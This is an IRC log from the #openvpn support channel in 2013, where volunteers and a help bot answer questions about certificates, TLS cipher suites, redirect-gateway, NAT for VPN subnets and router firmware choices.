16:08 < vaillor_> pekster, i repeated just because [23:07:19] * vaillor (~wefefr@2-226-37-187.ip179.fastwebnet.it) Quit (Read error: Connection reset by peer)
16:08 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
16:08 < vaillor_> i was not sure that message sent
16:11 < vaillor_> ok, i don't need to specify keepalive on the server because is on at 120 by default
16:14 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
16:15 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
16:15 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
16:17 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:18 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
16:22 -!- ade_b [~Ade@p5DE8F209.dip0.t-ipconnect.de] has joined #openvpn
16:22 -!- ade_b [~Ade@p5DE8F209.dip0.t-ipconnect.de] has quit [Changing host]
16:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:22 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Client Quit]
16:26 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
16:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:42 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Quit: leaving]
16:42 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
16:43 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds]
16:43 -!- Aster [~Sarah@april-fools/ninth/aster] has left #openvpn ["Potatoes."]
16:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
16:48 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
16:49 <@krzee> !dh
16:49 <@vpnHelper> "dh" is build-dh from easy-rsa and option dh in ssl-admin, creates a file which is a prime number the size of bits you defined (1024 default) which is used in the diffie-hellman algorithm to provide a method to negotiate a secure connection over an insecure channel. just one of the layers of encryption available to you in your VPN
16:53 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
16:56 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
17:03 -!- Netsplit *.net <-> *.split quits: Eagleman7, Mike--, zarrsh, cjs226, brad, kevinsky
17:04 -!- Netsplit over, joins: Mike--
17:04 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
17:05 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
17:19 -!- brad [~brad@ninja.so] has joined #openvpn
17:19 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:24 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
17:25 -!- cherwin_ is now known as cherwin
17:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:41 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
17:44 -!- goldkatze [~nobody@188-195-0-120-dynip.superkabel.de] has joined #openvpn
17:44 -!- goldkatze [~nobody@188-195-0-120-dynip.superkabel.de] has quit [Changing host]
17:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
17:50 < dimm0k> anyone know the default encoding for openssl when using build-key-pass?
17:51 < pekster> dimm0k: Just the openssl default, which is PEM
17:52 < dimm0k> hrmm, thanks
17:54 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
17:59 < pekster> I'm not sure why you'd want a DER-formatted RSA private key (or even worse, the old NET, or Netscape format) since they can't be protected with a passphrase by themselves. OpenVPN won't eat them at any rate
17:59 < pekster> RFC1422 is the reference for PEM (it's long and dry technical reading)
18:01 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
18:05 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
18:07 -!- HaxCore [~p3rror@41.249.151.192] has quit [Quit: Leaving]
18:12 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
18:15 < heraclitus> I'm thinking about purchasing a license for vpn, for one year. If I purchase a one year license with 10 concurrent connections, does that mean that 10 people could access my server at any one time?
18:17 < pekster> No clue; you're in the wrong place. This is for discussion and support for the open-source (GPL v2) licensed softawre, for which there is no "purchasing" required
18:17 < pekster> !as
18:17 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:17 < pekster> That's where to go for the commercial, non-free product "Access Server"
18:18 < rob0> With GPL openvpn we are limited by computing resources (CPU and bandwidth.)
18:18 < pekster> Technically that's true of any software application (and if you want to get down to it, hardware too)
18:19 < pekster> AFAIK the commercial code doesn't use kernel modules, so it's still entierly in userland for all non-device code
18:22 -!- master_of_master [~master_of@p4FF2444C.dip0.t-ipconnect.de] has joined #openvpn
18:23 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:25 -!- master_o1_master [~master_of@p4FF24BB6.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
18:40 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
18:51 -!- flobro [~silence@c-24-19-113-90.hsd1.wa.comcast.net] has quit [Quit: Lost terminal]
18:53 -!- mattock is now known as mattock_afk
18:57 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
19:07 -!- kirin` [telex@gateway/shell/anapnea.net/x-ddtxsuptbxwwmgkl] has quit [Ping timeout: 248 seconds]
19:07 < dimm0k> for ipod and android, i specify no path in the client.opvn for the key and crt files correct?
19:07 -!- kirin` [telex@gateway/shell/anapnea.net/x-lhkqdqgipgvvqzxd] has joined #openvpn
19:12 < BtbN> they get integrated into the config
19:12 < BtbN> so in the end, there'll be only one config file, which contains the keys and certs
19:12 < BtbN> The paths for importing should be relative the file on your storage
19:12 < BtbN> +to
19:16 < dimm0k> ahh, gotcha
19:16 < dimm0k> thanks BtbN
19:19 -!- raidz is now known as raidz_away
19:23 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:24 < dimm0k> so say i have several clients i'd like to add to the server...  do i just list them with the cert/key lines in server.conf?
19:25 < pekster> You don't "add clients to the server." Using X509 you issue them certs by the CA the server trusts
19:25 < pekster> !pki
19:26 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
19:26 <@vpnHelper> signed specially as a server (see !servercert)
19:26 < MagisterQuis> There needs to be a generic !rtfm
19:26 < MagisterQuis> !rtfm
19:26 < pekster> There's !man
19:27 < MagisterQuis> !man
19:27 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
19:27 < MagisterQuis> That's a handy tip.
19:27 < MagisterQuis> I use it.
19:27 < MagisterQuis> !woman
19:27 < MagisterQuis> Well, that's about right for IRC.
19:27 < MagisterQuis> No woman :D
19:29 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
19:41 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
19:43 < midacts> does anyone know of a guide to set up user authentication on openvpn?
19:43 < pekster> !howto
19:43 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:43 < midacts> i think tls-auth keys is the trick, i have jst not been able to find anything good to really tell me what i am doing is right
19:43 < midacts> ive looked over the howto, they have a dual facter authentication
19:44 < midacts> but if that is all that you recommend
19:44 < pekster> They have *single* factor auth described there
19:44 < pekster> Just TLS (which uses X.509)
19:44 < pekster> dual-factor would require that you use --user-auth-pass in addition and key off your own user database, or perhaps a OTP of your choice
19:45 < midacts> i have vpn working with just the generated certs
19:45 < pekster> Then you're done. Clarify your question if you expected a different answer
19:45 < midacts> no, that about summizes it.
19:45 < midacts> i was just wondering if you knew of a walkthrough to set that user-ath part up
19:46 < midacts> i think the how to may have it tho
19:46 < pekster> Easiest is to use an --auth-user-pass-verify script; code it to do whatever you want, then exit 0 for success, non-zero for failure
19:46 < pekster> There's a PAM plugin too if you want to auth against PAM the same way
19:46 < midacts> im just trying to set up openvpn on my DD-wrt router
19:46 < pekster> Depends on what backend you're doing the auth with in the end, and what's more convenient for you
19:47 < pekster> No point in setting up dual-factor then unless you had some need for it
19:47 < midacts> added security and learning
19:47 < pekster> dual-factor is designed for high-security situations where your key and (if you use it) passphrase might be compromized and you wanted additional protection against that
19:48 < pekster> Keep the key and CA secure, and that's not a problem
19:49 < pekster> Of course, if "nasty people" are after you, extra security is wise (it's not hard to get the physical key with a few minutes of physical access) and keylogging you to get the passphrase is easy too with a little B&E
19:49 < midacts> do you keep those two safe just by locking down the folder its kept in with permissions?
19:49 < pekster> Depends on where you're using it ;)
19:49 < midacts> gotcha
19:49 < midacts> is storing it in a truecrypted file pretty safe?
19:50 < midacts> i dont think anyone can access that unless they mount the file and know the password
19:50 < pekster> Yup, although remember that the container has to be decrypted first, and you need the passphrase to use it. But a keylogger and software bug could still get it
19:50 < pekster> But yea, it's one extra layer of security
19:51 < pekster> (can't even get your passphrase-protected key w/out the truecrypt password.) Of course, playing paranoid for a moment, if the truecrypt isn't FDE, a software keylogger can get both passwords ;)
19:51 < pekster> Basically, define if your threat is the government, or someone a bit less sophisticated
19:51 < midacts> you seem to know about your security!  i like it
19:51 < midacts> im always wanting to be as secure as i can
19:51 < midacts> and not security by obscuirty either haha
19:52 < pekster> I'll scale my recommendations to your paranoia level
19:52 < midacts> haha thanks  :)
19:52 < midacts> im just a young wipersnapper trying to learn is all
19:53 < midacts> id just like to do it right the first time
19:53 < midacts> whipper snapper?*
19:54 < midacts> i was having a bit of trouble getting the VPN part to work. its hit or miss. i just might now have it setup right. i found this nice guide to install openvpn on ddwrt so i followed his guide for my router (server side)
19:55 < midacts> http://i282.photobucket.com/albums/kk265/ReDaLeRt_C4W/94a684a6.jpg     <--- thats his guide    ---> this is my config file http://pastie.org/7991472
19:56 < midacts> id like to get the initial VPN part setup and working properly, then impliment the user-auth part
19:58 < pekster> Looks fine. For extra paranoia use stronger values for the --auth (I'd recommend SHA256) and --tls-cipher (stick with 1 or 2 of the strongest tls ciphers with a DHE mode, preventing a TLS downgrade attack by a MITM)
19:59 < pekster> I'd need a server config and description of further problems (and maybe logfiles at --verb 4) if you have a specific issue
19:59 < pekster> And I don't deal with "guides" or "walkthroughs" (most of them suck, although maybe there's a diamond in the rough. Usually not.)
20:01 < midacts> the tls-cipher is like 'aes-256 SHA' right?
20:02 < pekster> Nope, it's a full TLS cipher-suite. See `openvpn --show-tls` for a list
20:03 < pekster> Starting with 2.3.0 the official format changed to the IANA format, but the pre-2.3 version used the openssl definition (and 2.3 still accepts it with a deprecation warning)
20:04 -!- rog1121 [~rog1121@unaffiliated/rog1121] has left #openvpn ["Leaving"]
20:04 < midacts> gotcha, i dont think dd-wrt has those options. it only has likr 4 to choose from. because when i ran the openvpn --show-tls at my command line, there was a whole slew of answers
20:04 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 245 seconds]
20:05 < pekster> It's still wise to restrict it
20:06 < midacts> pekster: Thanks for all of your help. You sure do know your stuff.
20:06 < pekster> Use a DHE exchange mode, then a strong cipher with CBC
20:06 < pekster> And something stronger than SHA1 if you have support for it (although SHA1 remains not broken, just less secure of a digest)
20:07 < midacts> SHA512 is the best it has
20:07 < midacts> it also gives me the option for the DH PEM. DOes that count for the DHE Exchange
20:07 < pekster> PEM is a format for storing X509 info (keys, certs, etc.) It's not related to TLS
20:08 < midacts> okay, gotcha
20:08 < pekster> I also prefer SHA256 (or 384 if you want the full rounds, not that it really makes a diff) as it adds less overhead
20:08 < pekster> But small difference really
20:12 < midacts> Do you work in a security related field?
20:12 < midacts> or have you just been in it for years
20:22 < pekster> Both
20:23 < pekster> More network/sysops, but there's a big security component there that I embrace quite a bit
20:33 < midacts> DD-WRT seems to only like BF-CBC
20:33 < pekster> That's the symmetric cipher for the data channel; that's not related to the TLS cipher-suite
20:35 < midacts> okay, i see what you mean, as they are both separate. is blowfish cbc okay. i see that there are AES-512-CBC but it wont let me use it
20:35 < pekster> A cipher-suite (for use with --tls-cipher) would be something like TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA256 or the same thing in <=2.2.x syntax: DHE-RSA-AES256-SHA256
20:35 < pekster> Erm, ECDHE isn't the same as DHE, but you get the idea
20:35 < midacts> and for the TLS cipher, AES-256-SHA is the best they got
20:36 < pekster> Dump dd-wrt then? They're crap compared to openwrt anyway
20:36 < pekster> (dd-wrt is well-known for ignoring security holes, and their dev team is full of idiots)
20:36 < midacts> okay, so it is kind of the two combined (TLS cipher and the encryption cipher)
20:36 < pekster> Right, plus a handshake mode
20:36 < midacts> okay really! that is good to know
20:36 < pekster> Hence, "cipher-suite"
20:37 < midacts> haha gotcha
20:37 < midacts> suite with them all combine
20:37 < midacts> ive heard of tomato as well
20:37 < pekster> TLS is an entire protocol, used to secure a channel between 2 hosts over an insecure link
20:37 < midacts> i guess openwrt is probably the way to go then
20:38 < pekster> openwrt is the "cleanest" embedded solution. It's better supported, they tend to do the "right thing" most of the time, and the only reason not to use it is the pretty GUI stuff the others come with. Bad reason IMO
20:39 < midacts> UI is not that important to me. i pretty to use the CLI if i can. although with routers, i am still learning and definitely as comforatable with it as i am regular linux machines
20:41 < pekster> I build openwrt firmware myself and intentionally rip out the UI when space is an issue so I can fit more goodies in it (like tcpdump, openvpn if I need it, etc)
20:41 < pekster> openwrt has a great buildsystem; it's similar to configuring a kernel if you've familiar
20:41 < pekster> youre*
20:41 < midacts> haha i am not. but i would one day like to be able to do the things you are talking about.
20:41 < pekster> It's just a giant menu
20:42 < midacts> to be able to modify something like a kernel or openwrt is pretty amazing to me
20:42 < pekster> That's the power of open-source
20:42 < pekster> Dunno why people flock to commercial pay-ware so readily
20:42 < midacts> for support! :D
20:42 < midacts> we have a few opensource guys at work
20:42 < MagisterQuis> It's easier, to some ways of thinking.
20:43 < midacts> ever since i started dabblinf with linux and xen, i have really enjoyed it
20:43 < pekster> Take the money you'd pay for "support" and hire a couple guys who have a clue-by-four
20:43 < MagisterQuis> Oh, and the lack of linux zealots.
20:43 < MagisterQuis> That's the other nice thing.
20:44 < midacts> we have both sides at work. mostly our developers are the linux gurus. we run a small shop, so im the only one on the systems side that does anything with linux
20:48 < midacts> woot woot, finally got the VPN access to work
20:49 < midacts> now to learn about the tls-auth
20:49 < midacts> and openwrt
20:49 < midacts> pekster: thanks again for your help, kind sir.
20:50 < pekster> Sure. Always fun to help people who have a genuine interest and curiosity in learning
20:50 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-gxiowmtlphhysytc] has quit [Quit: Connection closed for inactivity]
20:51 < midacts> would you go with IPSec over OpenVPN?
20:53 < pekster> No point
20:53 < pekster> They do effectively the same thing: pick one, not both
20:53 < midacts> Awesome, you have the best answers.
21:43 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:04 -!- abyss_ [~abyss@i-free.pl] has quit [Ping timeout: 246 seconds]
23:06 -!- abyss [~abyss@i-free.pl] has joined #openvpn
23:06 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 276 seconds]
23:07 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
23:07 -!- backjlack_ [~quassel@188.26.63.84] has joined #openvpn
23:08 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 276 seconds]
23:10 -!- dimm0k_ [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has joined #openvpn
23:11 -!- mback2k__ [sbnc@89.238.84.46] has joined #openvpn
23:12 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 276 seconds]
23:12 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 276 seconds]
23:12 -!- mback2k_ [sbnc@89.238.84.46] has quit [Ping timeout: 276 seconds]
23:12 -!- Insomnia [chatzilla@nat/ibm/x-kwrlzkbmixrfcqii] has joined #openvpn
23:12 -!- mback2k__ is now known as mback2k_
23:13 -!- Insomnia is now known as Guest25212
23:13 -!- Guest25212 [chatzilla@nat/ibm/x-kwrlzkbmixrfcqii] has quit [Client Quit]
23:15 -!- stephanj [stephan@nemesis.stejau.de] has joined #openvpn
23:15 -!- stephanj [stephan@nemesis.stejau.de] has quit [Changing host]
23:15 -!- stephanj [stephan@opennic/stephan] has joined #openvpn
23:15 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
23:17 -!- stephan48 [stephan@opennic/stephan] has quit [Ping timeout: 276 seconds]
23:17 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
23:30 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
23:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 256 seconds]
23:35 < NP-Hardass> http://bpaste.net/show/Lu9OOa3efitGhDSjjKos/  route add failed on android, am I missing something here?
23:44 < pekster> Is it lacking permission to do thatt (that could cuase a command like that to fail.) Outside of that, why aren't you using the def1 flag to --redirect-gateway? (see !def1 for bot info, or see the manpage)
23:45 < NP-Hardass> !def1
23:45 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
23:47 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
23:50 < NP-Hardass> pekster: I figured it probably wasn't a permission thing since the route commands just prior to the failed one worked.  will look into the --redirect-gateway flag, though on first guess, I am a little confused since I have "redirect-gateway bypass-dhcp" in my .ovpn file
23:50 < pekster> You don't need bypass-dhcp unless your client's dhcp server is off-link
23:51 < pekster> That's rare, outside of corp site-to-site links (backbone or some weird VPN setups) where the DHCP server is at a data-center or HQ office and secondary networks slave off DHCP service to the central one
23:52 < pekster> Either way, def1 is recommended for a variety of reasons, including not letting your local DHCP renewals clobber the preferred gateway
23:54 < rOOb> hello all. I have openvpn running but when I connect from my client(ipad openvpn client) I cannot ping ANYTHING other then: vpn ip of server(10.0.0.1), lan ip of server(192.168.1.20). From the server I can ping the ipads vpn ip(10.0.0.6).
23:54 < rOOb> But I cannot ping any other machines on my lan or any websites(like google, yahoo)
23:54 < rOOb> My servers conf: http://pastebin.com/QCbr90sj
23:55 < rOOb> err. I fubar'ed the ips in the examples I gave. The ips are 10.0.1.X
23:56 < pekster> I'd suggest you pick a less-likely-to-clash subnet
23:57 < pekster> It's not uncommon to find common CPE using that as the client-side LAN
23:57 < rOOb> the 192.168.1.x?
23:57 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
23:57 < pekster> Well, that too if you can avoid it, but 10.0.0.0/24 and 10.0.1.0/24 are somewhat common too
23:57 < rOOb> I have read it can cause issues if your using the vpn from anothe network using the same
23:57 < NP-Hardass> pekster: understood about the def1, still not sure the reason behind the cmd failure,  I guess I will try running openvpn in android terminal emulator, and see if I can get more info about why it wont let me add the route
23:57 < rOOb> Ah
23:57 < pekster> You have ethe entire /8 to use: why pick something so likely to already exist?
23:58 < pekster> Pick a few random numbers
23:58 < rOOb> I'll switch over to the 10.8.0.x
23:58 < rOOb> since ive seen alot of examples using that
23:58 < pekster> NP-Hardass: Yea, I don't know either as it looked like it removed it correclty, just failed to replace it. Could be android weirdness, but def1 is prefferd anyway
23:59 < pekster> rOOb: Yup, avoid things like 192.168.{0,1}/24 and 10.{0,1}.{0,1}/24
23:59 < NP-Hardass> pekster: will be back in a few, craving a coffee. thanks again for the help thusfar
23:59 < rOOb> swtiched over to the 10.8.0.x
--- Day changed Sat Jun 01 2013
00:00 < rOOb> But still no luck on pinging anything other then the openvpn server
00:00 < pekster> Are you redirecting the gateway client-side rOOb?
00:00 < pekster> Becuase your server doesn't
00:00 < rOOb> yea
00:00 < rOOb> redirect-gateway is in the client conf
00:00 < pekster> Then verify you followed all the steps in:
00:00 < pekster> !redirect
00:00 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:00 <@vpnHelper> http://ircpimps.org/redirect.png
00:00 < pekster> I can pretty much gaurentee you missed one of those steps. Handy flowchart included at (#4)
00:01 < rOOb> yea. Iwas here the other day and stil have the flowchart open hehe
00:01 < rOOb> I get to "is nat enabled on vpn subnet"
00:01 < pekster> I don't really care for people that know where to find info and ask the same question again
00:01 < pekster> Okay. Next time indicate that and save everyone some time
00:01 < rOOb> My bad.
00:02 < pekster> When using non-routable IP space (10/8, or anything in rfc1918) you need to NAT the traffic beofre it hits the Internet, just like a home router does
00:02 < pekster> If you don't do that, replies can't ever come back (and smart ISPs won't even route them beyond their equipment)
00:03 -!- xbanux1 [~xbanux@triband-mum-59.182.143.4.mtnl.net.in] has joined #openvpn
00:03 < rOOb> Hmm
00:04 < rOOb> I had made a rule in my home router that should have directed 10.8.0.0/24 to my servers home lan ip(192.168.1.20) but I think I might have removed it after not getting openvpn working....I need to go check to see if its still  here
00:08 < pekster> Why not just NAT on the VPN server?
00:08 < pekster> Do you need the LAN to have bi-directional access to the VPN network?
00:08 < pekster> If not, that's one less device you need to involve
00:09 -!- levifig [~levifig@spwn.co] has quit [Quit: Farewell]
00:09 < rOOb> I really only want this vpn so I can use it while traveling and be able to: access my home network, and proxy all traffic from my laptop in a cafe through my home network.
00:10 < pekster> Sure, it might be useful to have the LAN able to address the VPN then
00:10 < pekster> (nat is evil, and doing so reduces the amount you need)
00:10 < rOOb> ah
00:10 < pekster> Still, fix your routes/firewalls, since I can almost gaurentee you that's where the problem is
00:10 < pekster> And maybe your home router is dumb and won't NAT the VPN range since it's not the home LAN
00:11 < pekster> If so, fix it, or buy/use hardware that can
00:11 < rOOb> Indeed it does seem that way. I just am not familiar enough to figure that part out on my own.
00:11 < rOOb> the router seems to be doing that ok.
00:11 < pekster> How would you know if you can't watch the WAN-side packets?
00:12 < pekster> Are you *sure* it's properly changing the source-address of outbound packets to your uplink?
00:12 < rOOb> I'm able to ping 10.8.0.1 from another computer on my home lan.
00:12 < pekster> That's not a test for what I just said
00:12 < rOOb> Oh
00:12 < pekster> And I really don't care to fix your router, expecially if you can't get a terminal on it
00:13 < rOOb> Ah. Yea. Not sure how I would test that
00:14 < pekster> Me either. That's way off-topic for here, although sometimes I lend a brief hand if the router runs a proper OS and the stars allign.
00:14 < rOOb> Oh. I was talking about watching the wan-side packets.
00:15 < pekster> I'm not sure how else you plan to verify they were NAT'd correctly, unless you can get direct access to the firewall and hit counters
00:15 < pekster> (maybe a transparent bridge, or see if you get replies? That's up to you -- I refuse to touch stock CPE I don't run locally)
00:17 < pekster> The one hint I will leave you with is that if you do the source-NAT on the VPN server and it starts working, you know your router is crappy and refuses to NAT packets that are sourced from a non-LAN address
00:17 < pekster> Otherwise check the usual places: routing and firewalls on every device involved
00:20 < rOOb> How would I go about doing "source-nat"?
00:20 < rOOb> I'm not having much luck with figuring out the nat on the router :|
00:21 < pekster> !nat
00:21 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
00:21 < pekster> (which is, fwiw, covered in the !redirect output. Might want to read that more carefully since you missed it twice now)
00:21 < rOOb> !def1
00:21 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
00:22 -!- levifig [~levifig@spwn.co] has joined #openvpn
00:37 < rOOb> HA! woot woot. It was a nat issue. I needed to add a rule to the firewall
00:38 < pekster> It usually is
00:38 < rOOb> I just dont know enough about networking
00:41 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
01:01 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
01:21 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 245 seconds]
01:35 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 245 seconds]
01:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:42 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has joined #openvpn
01:49 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
02:25 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has quit [Ping timeout: 264 seconds]
02:25 -!- backjlack_ [~quassel@188.26.63.84] has quit [Remote host closed the connection]
02:26 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
02:46 < nohitall> is it standard that you cant use several tunnel with the same user on openvpn server?
02:51 < Aketzu> --duplicate-cn
03:00 < nohitall> dor client or server
03:00 < nohitall> yea I dont hav access to server
03:43 < Dat> !both
03:43 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
04:14 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 256 seconds]
04:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
04:27 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
04:31 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 240 seconds]
04:33 -!- vaillor_ [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit []
04:33 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
04:33 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
04:51 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:54 < vaillor> i've noticed that the problem of continuous disconnections be only when dns server doesn't work
04:55 < vaillor> could anybody tell me why?
05:08 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:25 -!- Dat_ [dat@gotpot.org] has joined #openvpn
05:25 -!- Dat [dat@unaffiliated/dat] has quit [Ping timeout: 245 seconds]
05:25 -!- Dat_ is now known as Dat
05:30 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 246 seconds]
05:31 -!- Dat [dat@gotpot.org] has joined #openvpn
05:37 -!- Dat_ [dat@gotpot.org] has joined #openvpn
05:39 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 264 seconds]
05:42 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:43 -!- Dat_ [dat@gotpot.org] has quit [Ping timeout: 246 seconds]
05:59 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
05:59 -!- xbanux1 [~xbanux@triband-mum-59.182.143.4.mtnl.net.in] has quit [Read error: Connection reset by peer]
05:59 -!- xbanux [~xbanux@triband-mum-59.182.155.97.mtnl.net.in] has joined #openvpn
06:04 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 245 seconds]
06:06 -!- xbanux [~xbanux@triband-mum-59.182.155.97.mtnl.net.in] has quit [Ping timeout: 248 seconds]
06:14 -!- xbanux1 [~xbanux@triband-mum-59.182.155.97.mtnl.net.in] has joined #openvpn
06:20 -!- nowak [~nowak@s05.rozz.eu] has joined #openvpn
06:21 < nowak> Is there a way for server mode to accept both udp and tcp clients?
06:24 < rob0> No. You'd have to run two server instances with different settings, one on UDP, the other TCP.
06:28 -!- xbanux1 [~xbanux@triband-mum-59.182.155.97.mtnl.net.in] has quit [Ping timeout: 245 seconds]
09:11 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
09:13 -!- MagisterQuis [~MagisterQ@2601:a:4400:9f:9cb5:f101:d5f9:a98f] has joined #openvpn
